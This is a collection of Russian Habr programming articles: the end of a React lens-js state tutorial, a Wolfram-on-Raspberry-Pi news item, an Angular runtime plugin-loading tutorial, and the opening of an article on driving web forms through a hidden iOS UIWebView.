Пока всё легко и понятно? Но не будем отвлекаться, а то получится как на [матане](https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D1%82%D0%B5%D0%BC%D0%B0%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7).
Как можно заметить, мы экспортируем только константу `lens`, относительно которой и будем работать с состоянием. Это [синглтон](https://ru.wikipedia.org/wiki/%D0%9E%D0%B4%D0%B8%D0%BD%D0%BE%D1%87%D0%BA%D0%B0_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)), детка.
Для начала, создадим `Test.tsx` и попробуем просто получить доступ к свойствам нашего состояния, используя API линзы.
```
import { lens } from './lens';
export Test: React.FC = () => (
{ lens.go('circle').go('cats').get().map(c => c.name).join(' ') }
{ lens.go('street').go('cats').get().map(c => c.name).join(' ') }
);
```
> *Теперь мы можем видеть имена наших котиков. Выражение выглядит пугающе, но в процессе заполнения можно заметить, что благодаря типизации, имена полей предлагаются средой разработки, что весьма удобно.*
>
>
Автоподстановка вложенных свойствНо постойте, судари! У нас тут что-то не так с кодом! И действительно, массивы `circle` и `street` одинаковы, а код избыточен. Выгоднее реализовать универсальный способ, который отобразит только типизированный массив котиков, откуда бы мы его не передали. А давайте, просто, передавать узел линзы, как параметр некого компонента, который уже и будет отображать элементы массива, вот так:
```
import { Lens } from '@vovikilelik/lens-ts';
import { useLens } from '@vovikilelik/react-lens';
import { Cat } from './lens';
// Мы создали компонент, который будет принимать типизированную линзу
export Cats: React.FC<{ cats: Lens }> = ({ cats }) => {
const [catsArray] = useLens(cats);
return (
{ catsArray.map(c => c.name).join(' ') }
);
}
```
Тогда файл `Test.tsx` будет выглядеть следующим образом:
```
import { lens } from './lens';
export Test: React.FC = () => (
/\* Каждый узел линзы можно передавать, как простой аргумент \*/
);
```
Всё ещё сложно. Для чего мы постоянно обращаемся к корневой линзе? Нам же не так и важно, где хранятся массивы котиков? Можно пойти дальше и сделать `Test.tsx` тоже универсальным. Ну, и назовать его как-нибудь подходяще - `Lunapark.tsx`:
```
import { Lens } from '@vovikilelik/lens-ts';
import { Store } from './lens';
// Этот бывшый Test.tsx теперь универсальный Lunapark.tsx
export Lunapark: React.FC<{ store: Lens }> = ({ store }) => (
);
```
Как ловко мы тут всё инкапсулировали...
Другое дело! Теперь мы сможем использовать наш `Lunapark.tsx` в на любом узле линзы, где встречается похожая структура - `Store` . Таким образом, мы можем создавать целые модели компонентов, которые будут также универсальны, как и рядовые. И действительно, поскольку каждый узел линзы является объектом, адресующим некие данные в глобальном состоянии, то его передача в качестве аргумента ничем не отличатся от передачи простого значения. Однако в случае линз, мы уже получаем механизм отслеживания изменений в узле по средствам `useLens`*.*
Теперь дело за малым, переместить котиков из одного массива в другой. Давайте в нашем `Lunapark.tsx` создадим кнопку с обработчиком, где мы и завершим нашу задумку.
```
/* Берём котика из очереди и удаляем из состояния */
const popCat = (lens: Lens): Cat | undefined => {
// Тут просто берём массив из линзы
const cats = lens.get();
const cat = cats.pop();
// А тут записываем его обрано, но уже без одного котика
lens.set(cats);
return cat;
}
/\* Усаживаем на карусель \*/
const playCat = (lens: Lens, cat: Cat) => {
// Записываем в линзу прежний массив, но с новым котиком
lens.set([...lens.get(), cat]);
}
export Lunapark: React.FC<{ store: Lens }> = ({ store }) => {
// В этом методе, мы работает с котиками, относительно модели Store,
// где-то в состоянии, а не по детерминированному пути.
const onCatPlay = useCallback(() => {
const cat = popCat(store.go('street').go('cats'));
cat && playCat(store.go('circle').go('cats'), cat);
}, [store]);
return (
);
}
```
> *Обратите внимание, что обработка изменений уже реализована внутри линзы по средствам* `useLens`*, т. е. после изменения данных в узлах* `cats`*, связанные компоненты будут обновлены.*
>
>
А есть ещё какая-нибудь польза?
-------------------------------
Линзы — это не строго привязанная, к какой-либо технологии, библиотека. Их успешно можно применять там, где не подходят привычные подходы. Например, при создании динамических сцен на [BabylonJS](https://ru.wikipedia.org/wiki/Babylon.js) или внутреннего состояния [Web-компонентов](https://developer.mozilla.org/ru/docs/Web/Web_Components) и т. п. Линзы — не аналог Redux или похожих технологий и, как следствие, могут применяться совместно, как абстракция более низкого уровня. Всё дело в воображении…
Выводы
------
Что, уже? Да. Целью статьи было познакомить читателя с ещё одним подходом для организации состояния приложения. Мы рассмотрели самое-самое главное — потенциал к масштабируемости и области применения.
Давайте подытожим! С помощью линз можно:
* реализовывать состояние приложения;
* разрабатывать общие компоненты и модели;
* организовывать событийно-ориентированные подпрограммы;
* создавать абстракции для работы с другими подходами к управлению состоянием.
Ссылки
------
1. [Wiki по **lens-js**](http://git.vovikilelik.com/Clu/lens-js/wiki)
2. [Проект с котиками на **lens-js**](http://git.vovikilelik.com/Clu/react-lens-cats)
3. [Пакет **react-lens** на npm](https://www.npmjs.com/package/@vovikilelik/react-lens)
4. [Пакет **lens-ts** на npm](https://www.npmjs.com/package/@vovikilelik/lens-ts)
5. [Пакет **lens-js** на npm](https://www.npmjs.com/package/@vovikilelik/lens-js)
6. [Статья про другие **линзы**](https://habr.com/ru/post/415035/)
7. [Ещё интересный пост про **линзы**](https://habr.com/ru/post/230649/) | https://habr.com/ru/post/538844/ | null | ru | null |
# Язык Вольфрам и пакет Mathematica доступны бесплатно для Raspberry Pi
Прошло всего три дня с анонса масштабного проекта от Стивена Вольфрама, о котором уже [писали на хабре](http://habrahabr.ru/post/202586/), как стало известно о том, что новый язык Wolfram ([Wolfram Language](http://www.wolfram.com/wolfram-language/)) можно опробовать на практике: он доступен для платформы Raspberry Pi вместе с математическим пакетом Mathematica уже сегодня — причем совершенно бесплатно. Подписавшиеся на получение новостей о языке Wolfram получили рассылку с [новостью об этом](http://www.raspberrypi.org/archives/5282). Ниже приведен её перевод (статья написана от имени разработчиков Raspberry Pi).
[](http://habrastorage.org/storage3/5f8/b88/d9b/5f8b88d9b4d18387e64f2f76390e62bb.png)
*Рисование трехмерных графиков в пакете Mathematica на Raspberry Pi*
Одной из замечательных особенностей работы над созданием Raspberry Pi всегда была возможность встретить группы людей, разделяющих наши взгляды на необходимые изменения в обучении вычислительным наукам. Одним из таких примеров является направление компьютерной математики ([computer-based math, CBM](http://computerbasedmath.org/)), которое стремится увести обучение математики в школах от механических вычислений в сторону решения задач. Выдержка с сайта этого проекта:
> Важность математики для рынка труда, общества и мышления в целом резко возросла за последние десятки лет. Тем временем, обучение математике находится в кризисе по всему миру — отклоняясь все больше и больше от того, что необходимо странам, индустрии, дальнейшему обучению… и самим учащимся.
>
>
>
> Компьютеры являются основной причиной этого разрыва: только перекладывая на них все вычисления, математика применима к решению сложных вопросов во многих областях. На практическую математику оказали влияние компьютерные вычисления; теперь пришло время для подобных фундаментальных изменений и в области обучения математике среди широких масс.
>
>
>
> computerbasedmath.org — это проект, направленный на то, чтобы достичь этого переосмысления. Мы формируем совершенно новый курс обучения математике, основанный на компьютерных вычислениях, ставя целью переопределить обучение математике на всех уровнях — уходя от исторически сложившихся техник расчетов вручную и двигаясь к ситуациям, требующим решения задач из реального мира, и которые задают направление развития высшей математики.
Сегодня на конференции, посвященной обучению компьютерной математике (CBM) в Нью-Йорке, мы объявили о сотрудничестве с [Wolfram Research](http://www.wolfram.com/) с целью поставки бесплатной копии [Mathematica](http://www.wolfram.com/mathematica/) и языка Wolfram в составе образов системы Raspbian. Мы полагаем, что это сделает Raspberry Pi превосходной платформой для обучения техникам CBM детей всех возрастов. Как заявил Конрад Вольфрам сегодня: «Программисты смогут использовать всю мощь пакета Mathematica прямо из коробки, не только расширяя круг своих возможностей, но и демонстрируя силу и важность математики».
[](http://habrastorage.org/storage3/53f/445/63e/53f44563e2da3c71a7386822f425721a.png)
*Крайне неуместное применение ступенчатой функции Хевисайда*
Последующие образы системы Raspbian будут содержать в себе язык Wolfram и Mathematica по умолчанию. Нынешние пользователи, имеющие не менее 600 Мб свободного места на SD-карте, смогут выполнить установку с помощью следующей команды:
```
sudo apt-get update && sudo apt-get install wolfram-engine
```
Пакет Mathematica можно будет найти в лаунчере приложений в меню Education (Образование).
Мы хотим поблагодарить команду Wolfram Research за невероятные усилия, которые они вложили ради того, чтобы язык Wolfram и Mathematica могли хорошо работать на платформе Raspberry Pi. За несколько следующих месяцев мы планируем опубликовать серию статей, посвященных исследованию тех интересных вещей, которые вы сможете осуществить с помощью Wolfram. Будет весело! | https://habr.com/ru/post/203158/ | null | ru | null |
# Архитектура плагинов в приложениях Angular
Концепция плагинов всегда была популярной и продуктивной в области разработки программного обеспечения. Масштабируемость и возможность коллективной разработки необходимы для приложений уровня предприятия, когда каждая команда разработчиков может представлять своё направление бизнеса и разрабатывать свой собственный плагин для веб-портала. Angular, являясь одним из наиболее подходящих фреймворков для построения больших браузерных информационных систем, предлагает прекрасные возможности разделения приложения на части прямо «из коробки» при помощи технологии ленивой загрузки. Результатом этого должно быть приемлемое время загрузки даже больших приложений при использовании должного подхода к их дизайну. При этом стандартная реализация ленивой загрузки подразумевает жёсткое задание маршрутов в центральной части приложения, что может приводить к трудностям с разработкой несколькими командами и невозможности добавления новых модулей без изменений в коде. В этой статье я собираюсь объяснить и продемонстрировать как можно создать приложение Angular, поддерживающее плагины, описанные исключительно в конфигурационном файле, когда центральная часть приложения и подключаемые модули полностью независимы друг от друга и даже могут быть расположены в разных местах.
Чтобы сделать хорошую иллюстрацию использованного подхода, я написал минимально возможный пример приложения, который расположен [здесь](https://github.com/VasilyIvanov/ng-plugin-demo). Он был создан и протестирован на Angular 11.
Подготовительные действия
-------------------------
Начнём с создания приложения Angular.
```
ng new ng-plugin-demo
```
Последующие команды создадут 2 библиотеки, которые мы можем использовать в качестве плагинов. Первый плагин будет содержать в себе 2 компонента, тогда как второй будет только с одним простым компонентом.
```
ng g library plugin1
ng g component main-screen --project=plugin1
ng g component child-screen --project=plugin1
ng g library plugin2
ng g component main-screen --project=plugin2
```
Нам надо изменить стандартный файл main-screen.component.html чтобы иметь возможность отображать второй компонент, а также картинку, с использованием базового пути модуля для того, чтобы её загрузить, последнее будет более детально объяснено позднее.
```
Plugin1 works!
Module base path is {{ moduleBasePath }}
Go to the child
Go back
![]()
```
Второй компонент может быть прост, насколько это возможно.
```
child-screen works!
Go back
```
Нам также надо добавить модули маршрутизации в плагины, эти модули будут отвечать за отображение необходимых компонентов, когда пользователь будет перемещаться по маршруту плагина, определённому в центральной части приложения. В нашем демо-приложении у нас будет маршрут по умолчанию, отображающий главный компонент библиотеки, и дочерний маршрут для отображение дочернего компонента.
```
const routes: Routes = [
{
path: '',
component: MainScreenComponent
},
{
path: 'child',
component: ChildScreenComponent
}
];
```
Эти маршруты добавлены в импорт модуля маршрутизации стандартным образом.
```
imports: [RouterModule.forChild(routes)],
```
А модуль маршрутизации, в свою очередь, добавлен в импорт главного модуля библиотеки.
```
imports: [
Plugin1RoutingModule
],
```
Поскольку плагин содержит картинку, нам нужно создать специальную папку assets и изменить соответствующий файл ng-package.json для того, чтобы сказать компилятору как ему следует вести себя с данной папкой.
```
"assets": ["./assets"],
```
Второй плагин должен быть подготовлен походим образом. Как только это будет сделано, мы можем перейти на главную часть приложения.
### Общая библиотека
Вполне понятно, что центральная часть приложения и плагины будут иметь какой-то общий код. В первую очередь это должен быть сервис для загрузки и хранения файла конфигурации плагинов. Также нам надо задать injection token для хранения базового пути плагина и пару интерфейсов. Шаги, приведённые ниже, будут иллюстрировать создание общей библиотеки.
```
ng g library common
```
Интерфейс, описывающий плагин, должен быть объявлен как показано ниже.
```
export interface DemoPlugin {
path: string;
baseUrl: string;
pluginFile: string;
moduleName: string;
}
```
Второй интерфейс используется для задания настроек окружения. Это позволит вам создавать множество окружений, имеющих свою конфигурацию, что полезно, потому что вам может понадобиться задать несколько место расположения плагинов.
Сейчас мы уже можем создать сервис конфигурации плагинов.
```
ng g service plugin-config --project=common
```
Цель сервиса – хранение данных конфигурации плагинов, которые должны быть единожды загружены сразу после старта приложения.
```
export class PluginConfigService {
public value: DemoPlugin[] = [];
public loaded = false;
public constructor() { }
public load(uri: string): Promise {
return fetch(uri).then(result => result.json()).then(json => {
this.value = json;
this.loaded = true;
return json;
});
}
}
```
Наконец, нам надо задать injection token базового пути модуля чтобы облегчить загрузку объектов, таких как картинки, в плагинах.
```
export const MODULE_BASE_PATH = new InjectionToken('MODULE\_BASE\_PATH');
```
### Центральная часть приложения
#### Загрузчик плагинов
Немного теории. Когда мы создаём библиотек Angular, у ней всегда есть зависимости. Эти зависимости должны быть заданы в файле приложения package.json в одноимённом разделе. Если вы активно используете компоненты сторонних производителей, список зависимостей может быть довольно внушительным. По умолчанию Angular не включает собственный код зависимости в откомпилированную библиотеку. Это может выглядеть не вполне понятным, но это сделано для того, чтобы уменьшить общий размер приложения и рассчитать оптимальный вариант ленивой загрузки. Есть опция, позволяющее обойти этот принцип, которая называется ‘budledDependencies’, но далеко не всегда будет хорошей идеей её использовать, потому что вам может понадобиться обращаться к одним и тем же библиотекам из нескольких плагинов. В этом случае приложению может понадобиться загружать один и тот же код каждый раз с загрузкой нового плагина.
Поскольку основная часть приложения должна предоставлять эти зависимости плагинам, она должна их заранее импортировать. К сожалению, это может привести к значительному увеличению размера исполняемого файла начальной загрузки. Это, в свою очередь, будет замедлять загрузку приложения. Принимая во внимание соображения выше, было бы разумно применить ленивую загрузку к зависимостям, когда это возможно. Angular предоставляет нам такую возможность. Нам только необходимо создать новый модуль в центральной части приложения, который будет импортировать все зависимости, и применять к нему ленивую загрузку, когда нам необходимо получить доступ к плагинам.
```
ng g module plugin-loader --routing
```
Теперь мы можем перейти к наиболее интересной части и запрограммировать модуль загрузки плагинов. Модуль должен содержать файл конфигурации зависимостей. Ниже представлен пример такого файла.
```
import * as AngularAnimations from '@angular/animations';
import * as AngularCommon from '@angular/common';
import * as AngularCommonHttp from '@angular/common/http';
import * as AngularCompiler from '@angular/compiler';
import * as AngularCore from '@angular/core';
import * as AngularForms from '@angular/forms';
import * as AngularPlatformBrowser from '@angular/platform-browser';
import * as AngularPlatformBrowserDynamic from '@angular/platform-browser-dynamic';
import { BrowserAnimationsModule } from '@angular/platform-browser/animations';
import * as AngularRouter from '@angular/router';
import * as rxjs from 'rxjs';
import * as RxjsOperators from 'rxjs/operators';
import * as Common from 'common';
export const dependencyMap: { [propName: string]: any } = {
'@angular/animations': AngularAnimations,
'@angular/common': AngularCommon,
'@angular/common/http': AngularCommonHttp,
'@angular/compiler': AngularCompiler,
'@angular/core': AngularCore,
'@angular/forms': AngularForms,
'@angular/platform-browser': AngularPlatformBrowser,
'@angular/platform-browser-dynamic': AngularPlatformBrowserDynamic,
'@angular/platform-browser/animations': BrowserAnimationsModule,
'@angular/router': AngularRouter,
rxjs,
'rxjs/operators': RxjsOperators,
'common': Common
};
```
Как правило, вы должны включить в файл все зависимости, которые могут иметь ваши плагины. Если здесь окажутся такие, которые не импортированы главным модулем, они будут по крайней мере подвергнуты ленивой загрузке, что может оказать положительное влияние на время загрузки приложения.
Самая главная часть модуля загрузчика плагинов – это его конфигурация маршрутов, расположенная в файле plugin-loader-routing.module.ts. Начнём с функции загрузки плагина.
```
const loadModule = (url: string): Promise => {
try {
return fetch(url)
.then((response) => response.text())
.then((source) => {
const exports = {}; // This will hold module exports
// Shim 'require'
const require = (module) => {
if (!dependencyMap[module]) {
throw new Error(`No '${module}' module defined in the provided dependency map for the '${url}' module`);
}
return dependencyMap[module];
};
eval(source); // Interpret the plugin source
return exports;
});
} catch (error) {
const message =
`Cannot load a module at '${url}'. ` +
(error instanceof Error ? `${error.name} ${error.message}` : JSON.stringify(error));
window.alert(message);
return Promise.reject(message);
}
};
```
Функция попросту загружает файл плагина, создаёт объект экспорта, который будет содержать экспорт загруженного модуля, переопределяет ключевое слово ‘require’ и вызывает функцию eval JavaScript. Если плагину необходима зависимость, не заданная в конфигурационном файле, будет отображена ошибка в консоли браузера, которая позволит вам понять, как решить проблему.
Сам модуль маршрутизации содержит конфигурацию роутера, которая определяет, какой плагин должен быть загружен и выполняет загрузку с помощью вызова функции ‘loadModule’.
```
@NgModule({
imports: [RouterModule.forChild([])],
exports: [RouterModule],
providers: [
{
provide: ROUTES,
useFactory: (pluginConfigService: PluginConfigService) => pluginConfigService.value.map(plugin => ({
matcher: (_segments: UrlSegment[], group: UrlSegmentGroup, _route: Route): UrlMatchResult | null => group.segments[0].path === plugin.path ? { consumed: [] } : null,
loadChildren: () => loadModule(`${plugin.baseUrl}/${plugin.pluginFile}?v=${new Date().getTime()}`).then(m => m[plugin.moduleName])
})),
deps: [PluginConfigService],
multi: true,
},
],
})
export class PluginLoaderRoutingModule { }
```
Как вы можете видеть, мы вынуждены прибегнуть к injection token ROUTES, потому что нам нужен доступ к сервису конфигурации плагинов, который содержит информацию о конфигурации плагинов, загруженную при запуске приложения. Это будет разъяснено немного позже. Также нам надо задать пути для маршрутов, потому что они должны быть заданы в корневой конфигурации роутера главного модуля, если мы хотим использовать простые маршруты, такие как ‘http://localhost:4260/plugin1’. Неплохой способ определения, какой плагин должен быть загружен, состоит в использовании параметров функции URL matcher.
Конечно же, модуль маршрутизации загрузчика плагинов должен быть импортирован модулем загрузчика плагинов.
```
imports: [
CommonModule,
PluginLoaderRoutingModule
]
```
#### Главный модуль (APP MODULE)
В приложении нам необходимо загрузить JSON-файл конфигурации плагинов и задать конфигурацию корневого маршрутизатора. Поскольку мы обязаны загрузить конфигурацию ранее всего остального, injection token APP\_INITIALIZER является неплохим вариантом, чтобы сделать эту работу.
```
providers: [
PluginConfigService,
{
provide: APP_INITIALIZER,
useFactory: (pluginConfigService: PluginConfigService) =>
() => pluginConfigService.load(`${environment.pluginConfigUri}?v=${new Date().getTime()}`),
deps: [PluginConfigService],
multi: true
}
],
```
Ваши файлы конфигурации окружения и плагинов должны выглядеть приблизительно как примеры ниже. Конфигурационные файлы окружения являются стандартными и создаются автоматически Angular CLI.
```
export const environment: Environment = {
production: false,
pluginConfigUri: './assets/plugin-config.json'
};
```
Можно расположить файл конфигурации плагинов в папке assets приложения.
```
[
{
"path": "plugin1",
"baseUrl": "http://localhost:4261/plugin1",
"pluginFile": "bundles/plugin1.umd.js",
"moduleName": "Plugin1Module"
},
{
"path": "plugin2",
"baseUrl": "http://localhost:4261/plugin2",
"pluginFile": "bundles/plugin2.umd.js",
"moduleName": "Plugin2Module"
}
]
```
К сожалению, APP\_INITIALIZER не предотвращает запуск конфигурации роутера до окончания инициализации, так что мы вынуждены опять использовать injection token ROUTES.
```
const staticRoutes: Route[] = [];
@NgModule({
imports: [RouterModule.forRoot([])],
exports: [RouterModule],
providers: [
{
provide: ROUTES,
useFactory: (pluginConfigService: PluginConfigService) => {
const pluginRoute = {
// This function is called when APP_INITIALIZER is not yet completed, so matcher is the only option
matcher: (_segments: UrlSegment[], group: UrlSegmentGroup, _route: Route): UrlMatchResult | null =>
group.segments.length && pluginConfigService.value.some(plugin => plugin.path === group.segments[0].path) ? { consumed: [group.segments[0]] } : null,
// Lazy load the plugin loader module because it may contain many 'heavy' dependencies
loadChildren: () => import('./plugin-loader/plugin-loader.module').then((m) => m.PluginLoaderModule)
};
return [...staticRoutes, pluginRoute];
},
deps: [PluginConfigService],
multi: true,
},
]
})
export class AppRoutingModule { }
```
В этом примере у нас нет корневых маршрутов помимо плагинов, так что массив staticRoutes остаётся пустым. Обычно он включает ваши статические (т. е. жёстко заданные) маршруты.
App component, очевидно, должен быть изменён. Нам надо внедрить туда сервис конфигурации плагинов как зависимость.
```
export class AppComponent {
public constructor(public readonly pluginConfigService: PluginConfigService) {}
}
```
HTML-шаблон компонента нуждается в некоторых изменениях для отображения ссылок на плагины, которые заданы в конфигурационном файле плагинов.
```
{{ plugin.moduleName }}
```
### Базовый путь (URL) модуля
Когда плагин загружен, часто необходимо знать его URL чтобы иметь возможность загружать ресурсы такие как картинки, видео, файлы локализации и т. д. По умолчанию базовый путь будет такой же, как и у модуля, загрузившего плагин. Это неприемлемо, и мы должны предоставить модулю верную информацию о его базовом URL.
Насколько вы помните, мы уже создали injection token под названием MODULE\_BASE\_PATH. Добавим его по модуль плагина №1 для иллюстрации того, каким путём это можно сделать. В первую очередь нам надо создать функцию-фабрику.
```
const moduleBasePathFactory = (pluginConfigService: PluginConfigService): string =>
pluginConfigService.value.find(plugin => plugin.path === 'plugin1').baseUrl;
```
Потом добавим нового провайдера в декоратор модуля.
```
providers: [
{
provide: MODULE_BASE_PATH,
useFactory: moduleBasePathFactory,
deps: [PluginConfigService],
}
]
```
Injection token добавлен. Он может быть внедрён в компоненты плагина при помощи добавления его в параметры конструктора класса, как это показано ниже.
```
public constructor(@Inject(MODULE_BASE_PATH) public readonly moduleBasePath: string) {}
```
Чтобы загрузить картинку вам надо просто использовать внедрённое значение В HTML-шаблоне компонента.
```
![]()
```
### Последние приготовления
Для того, чтобы запустить приложение, мы должны настроить конфигурационные файлы. Вы можете поменять порт по умолчанию, используемый с командой ng serve, в файле angular.json. Путь настройки – projects.ng-plugin-demo.architect.serve.options.port.
Немного больше изменений нужно сделать с файлом package.json. Для того, чтобы запущенное локально приложение могло загружать плагины, надо установить HTTP-сервер. Чтобы это сделать, выполните следующую команду.
```
npm install --save-dev http-server
```
После установки он будет автоматически добавлен к секции devDependencies. Довольно удобно добавить новую команду в раздел scripts.
```
"serve:plugins": "http-server ./dist/ --port=4261 --cors",
```
Наконец, было бы прекрасно в той же секции назначить единую команду чтобы компилировать всё приложение целиком, включая библиотеки.
```
"build:all": "ng build common && ng build plugin1 && ng build plugin2 && ng build"
```
Теперь, для того, чтобы запустить демо, вам нужно открыть 2 окна терминала и запустить команды ‘npm run serve:plugins’ и ‘ng serve --hmr’ соответственно.
### Что если мы поменяем настройки компилятора?
По умолчанию Angular CLI создаёт новое приложение с определёнными предустановленными настройками компилятора. Попробуем поменять две из них, а именно ‘enableIvy’ и ‘aot’ (AOT означает Ahead Of Time compilation). Эти настройки могут быть найдены в файлах angular.json и tsconfig.json.
1. AOT включен, Ivy включён – работает без проблем.
2. AOT выключен, Ivy выключен.
В этой конфигурации вы встретите некоторые проблемы. Чтобы избавится от ошибок и успешно скомпилировать приложение, вам надо сделать внести изменения.
В файле plugin1.module.ts поменяйте стрелочные функции на обычные экспортируемые функции и уберите из них стрелочный синтаксис, как это показано ниже.
```
export function find(plugin: DemoPlugin): boolean {
return plugin.path === 'plugin1';
}
export function moduleBasePathFactory(pluginConfigService: PluginConfigService): string {
return pluginConfigService.value.find(find).baseUrl;
}
```
В файлах plugin1-routing.module.ts и plugin1-routing.module.ts уберите вызов функции из секции импорта декоратора. Результат должен выглядеть как показано ниже.
```
export const routerModule = RouterModule.forChild(routes);
imports: [routerModule],
```
В файлах app-routing.module.ts и plugin-loader-routing.module.ts вам надо добавить ‘useValue’ к провайдеру ROUTES.
```
providers: [
{
provide: ROUTES,
useFactory: (pluginConfigService: PluginConfigService) => {
const pluginRoute = {
// This function is called when APP_INITIALIZER is not yet completed, so matcher is the only option
matcher: (_segments: UrlSegment[], group: UrlSegmentGroup, _route: Route): UrlMatchResult | null =>
group.segments.length && pluginConfigService.value.some(plugin => plugin.path === group.segments[0].path) ? { consumed: [group.segments[0]] } : null,
// Lazy load the plugin loader module because it may contain many 'heavy' dependencies
loadChildren: () => import('./plugin-loader/plugin-loader.module').then((m) => m.PluginLoaderModule)
};
return [...staticRoutes, pluginRoute];
},
// The member below must exist if Ivy is off
useValue: [],
deps: [PluginConfigService],
multi: true,
},
]
```
Я включил эти изменения в демо в репозитории. После успешной компиляции приложение работает так, как предполагалось.
3. AOT выключен, Ivy включён.
Если вы запустите приложение в этой конфигурации без каких-либо изменений, то получите ошибку ‘ERROR Error: Uncaught (in promise): Error: Cannot match any routes. URL Segment: 'plugin1'’. Чтобы от неё избавиться, вам надо убрать useValue: [] из провайдера ROUTES. После этого приложение будет работать как задумано.
4. AOT включён, Ivy выключен.
Пожалуйста, снова добавьте useValue: [] в файл plugin-loader-routing.module.ts.
В этой конфигурации вы должны натолкнуться на ошибку выполнения. Это произойдёт из-за того, что вам необходимо вручную скомпилировать плагины. К счастью, это возможно.
Добавьте новую функцию как рекомендовано ниже в файл plugin-loader.module.ts.
```
export function createCompiler(compilerFactory: CompilerFactory) {
return compilerFactory.createCompiler();
}
```
Также добавьте 3 провайдера COMPILER\_OPTIONS, CompilerFactory и Compiler в тот же модуль.
```
providers: [
{ provide: COMPILER_OPTIONS,
useValue: {},
multi: true
},
{
provide: CompilerFactory,
useClass: JitCompilerFactory,
deps: [COMPILER_OPTIONS],
},
{
provide: Compiler,
useFactory: createCompiler,
deps: [CompilerFactory],
},
]
```
Когда вы всё это сделаете, внесите следующие изменения в провайдер ROUTES для того, чтобы вручную компилировать загруженные модули.
```
providers: [
{
provide: ROUTES,
useFactory: (pluginConfigService: PluginConfigService, compiler: Compiler) => pluginConfigService.value.map(plugin => ({
matcher: (_segments: UrlSegment[], group: UrlSegmentGroup, _route: Route): UrlMatchResult | null => group.segments[0].path === plugin.path ? { consumed: [] } : null,
loadChildren: () =>
loadModule(`${plugin.baseUrl}/${plugin.pluginFile}?v=${new Date().getTime()}`)
.then(m => m[plugin.moduleName])
.then(result => result instanceof NgModuleFactory ? Promise.resolve(result) : compiler.compileModuleAsync(result))
})),
// The member below must exist if Ivy is off
useValue: [],
deps: [PluginConfigService, Compiler],
multi: true,
},
]
```
Кажется, мы больше не можем использовать injection token ROUTES в главном модуле, потому что в этом случае Angular не понимает, что модуль загрузки плагинов должен быть подвержен ленивой загрузке и это выразится в ошибке ‘Runtime compiler is not loaded’. Выходит так, что мы должны прямо прописать маршруты для того, чтобы избежать данной ошибки. Таким образом, чтобы обойти проблему, закомментируйте массив провайдеров в декораторе модуля и добавьте переменную для обращения к сервису конфигурации плагинов.
```
let service: PluginConfigService;
```
Также понадобится функция для сопоставления маршрутов плагинов.
```
export function pluginMatcher(_segments: UrlSegment[], group: UrlSegmentGroup, _route: Route): UrlMatchResult | null {
return group.segments.length && service.value.some(plugin => plugin.path === group.segments[0].path) ? { consumed: [group.segments[0]] } : null;
}
```
Измените массив импорта в декораторе модуля.
```
imports: [RouterModule.forRoot([
...staticRoutes,
{
matcher: pluginMatcher,
loadChildren: () => import('./plugin-loader/plugin-loader.module').then((m) => m.PluginLoaderModule)
}
])],
```
И, наконец, добавьте конструктор в класс модуля, потому что нам надо присвоить значение переменной сервиса.
```
public constructor(private readonly pluginConfigService: PluginConfigService) {
service = this.pluginConfigService;
}
```
После всех манипуляций приложение должно быть способно загружать плагины как предполагается. Я бы не рекомендовал описанную опцию из-за некоторой неряшливости кода.
### Заключение
Загрузка плагинов не поддерживается Angular «из коробки», несмотря на тот факт, что данная техника программирования может быть востребована командами разработчиков уровня предприятия. Тем не менее, такую задачу можно выполнить в различных конфигурациях при помощи схожих методов. Возможно, в будущем это может стать частью стандартного фреймворка Angular. Я надеюсь, что данная статья будет вам полезной и поможет создавать лучшие приложения. | https://habr.com/ru/post/551192/ | null | ru | null |
# С любовью к дизайнерам: внедряем веб-формы в мобильное приложение
При разработке мобильного приложения для проекта, которому приходится работать с большим количеством внешних систем, неизбежно возникают ситуации, в которых приходится проявлять находчивость и смекалку. Особенно часто такие ситуации возникают при попытках реализовать программно полет мысли дизайнера с учетом технических особенностей таких систем. О том, как мы решаем такие задачи при работе над мобильным приложением Денег Mail.Ru, мы расскажем в этой статье.
 
Итак, у нас имеется внешняя веб страница проекта-партнера, которая содержит веб-форму. Страница отлично работает во встроенном в приложение браузере, но ее внешний вид не совпадает с представлениями о прекрасном нашего отдела дизайна и выглядит внутри неорганично. Дизайнеры рисуют новую красивую форму и дают команду: «Должно выглядеть так!». У всех свои задачи, но наша общая цель – качественное приложение.
Наша задача ясна. Приступаем к реализации. Внедрить форму в приложение в новом дизайне — ничего сложного. Но как быть с веб-формой?
Навскидку, можно реализовать программно логику работы страницы с формой. Потом сформировать HTTP-запрос, эмулирующий нажатие кнопки «Отправить», и передать его в *UIWebView*.
Однако, при всей простоте у такого подхода есть подводные камни. Форма запросто может содержать в себе [CSRF-токен](http://habrahabr.ru/post/144406/) (тогда нам придется загружать страницу и парсить токен, чтобы передать его в итоговом запросе), список выбора значений, которые могут часто меняться на стороне сервера (тоже загружать и парсить), да и вообще манипулировать состоянием одного или нескольких скрытых полей формы (привет, JavaScript!) в зависимости от данных, введенных пользователем. Все это достаточно усложняет задачу, не находите?
Есть другой путь! И на сцене под овации зрителей появляется маэстро Костыль. Что мы делаем?
Все очень просто. Берем скрытый от глаз пользователя *UIWebView*, загружаем туда нашу веб-страницу и манипулируем с ее объектами DOM при помощи JavaScript.
Рассмотрим данную технику на простом примере. В качестве подопытного кролика возьмем форму поиска в правом верхнем углу главной страницы Хабра, которая имеет следующее HTML-представление:
```
```
Форма проста и содержит в себе только одно текстовое поле ввода и кнопку, поэтому является идеальным объектом для эксперимента.
Первым делом создаем контроллер, который будет управлять веб-формой.
```
@interface MRWebViewController ()
@property (nonatomic, weak, readonly) UIWebView \*webView;
@property (nonatomic, strong, readonly) NSURLRequest \*request;
@property (nonatomic, assign) BOOL hasForm;
// ...
@end
@implementation MRWebViewController {
}
// ...
- (instancetype)initWithURLString:(NSString \*)urlString {
self = [super init];
if (self) {
\_request = [NSURLRequest requestWithURL:[NSURL URLWithString:urlString]];
}
return self;
}
- (void)viewDidLoad {
[super viewDidLoad];
[self createWebView];
self.view.autoresizingMask = UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight;
self.view.alpha = 0.0;
}
- (void)createWebView {
